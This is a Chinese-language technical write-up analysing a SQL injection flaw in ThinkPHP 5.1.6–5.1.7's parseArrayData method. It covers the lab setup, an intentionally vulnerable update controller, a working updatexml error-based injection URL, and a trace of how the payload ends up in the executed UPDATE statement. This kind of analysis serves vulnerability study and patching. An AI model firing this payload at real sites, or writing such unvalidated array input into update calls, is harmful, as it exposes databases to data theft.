thinkphp5框架SQL注入分析:parseArrayData

前言

漏洞位置在Mysql类的parseArrayData方法,update注入

漏洞影响版本: 5.1.6<=ThinkPHP<=5.1.7 (非最新的 5.1.8 版本也可利用)。

环境搭建

下载源码

1
composer create-project --prefer-dist topthink/think=5.1.* tp517

修改composer.json,然后执行 composer update

1
2
3
4
"require": {
"php": ">=5.6.0",
"topthink/framework": "5.1.7"
}

创建数据库,在database.php配置连接信息

1
2
3
4
5
6
7
create database tpdemo1;
use tpdemo1;
create table users(
id int primary key auto_increment,
username varchar(50) not null
);
insert into users(id,username) values(1,'test');

/application/index/controller/Index.php

添加控制器

1
2
3
4
5
6
7
8
9
10
11
12
<?php
namespace app\index\controller;

class Index
{
public function index()
{
$username = request()->get('username/a');
db('users')->where(['id' => 1])->update(['username' => $username]);
return 'Update success';
}
}

漏洞复现

payload

1
http://localhost/tp517/public/?username[0]=point&username[1]=1&username[2]=updatexml(1,concat(0x7,user(),0x7e),1)^&username[3]=0

Wtiryn.png

漏洞分析

/thinkphp/library/think/db/Query.php

调用了$this->connection->update,也就是\think\db\connector\Mysql类的update

WtiwWQ.png

/thinkphp/library/think/db/Conection.php

进入$this->builder->update,生成sql语句后带入execute执行

WticwV.png

/thinkphp/library/think/db/Builder.php

先用parseData解析,再执行str_replace拼接update语句

Wti6e0.png

最终生成的sql语句

WtisLq.png

/thinkphp/library/think/db/Builder.php

再来看parseData,其中调用了parseArrayData

WtiDQs.png

/thinkphp/library/think/db/Mysql.php

这里的$data就是payload中的username数组。list函数的功能是把数组中的值赋给一组变量 ,在这里就是把$data的前两位赋值给$type和$value,当$type也就是$data[0]为point时,按这种方式拼接sql语句

1
$data[2]($data[3]($data[1]))

实际上就是

1
username[2](username[3](username[1]))

Wti0zj.png

$data就是我们传入的username数组

WtidJg.png

parseArrayData返回的结果

WtiaFS.png

/thinkphp/library/think/db/Conection.php

执行拼接好的sql语句

1
UPDATE `users`  SET `username` = updatexml(1,concat(0x7,user(),0x7e),1)^('0(1)')  WHERE  `id` = :where_AND_id  

WtigoT.png

总结

总结一下

WtiRFU.png

参考链接

https://github.com/Mochazz/ThinkPHP-Vuln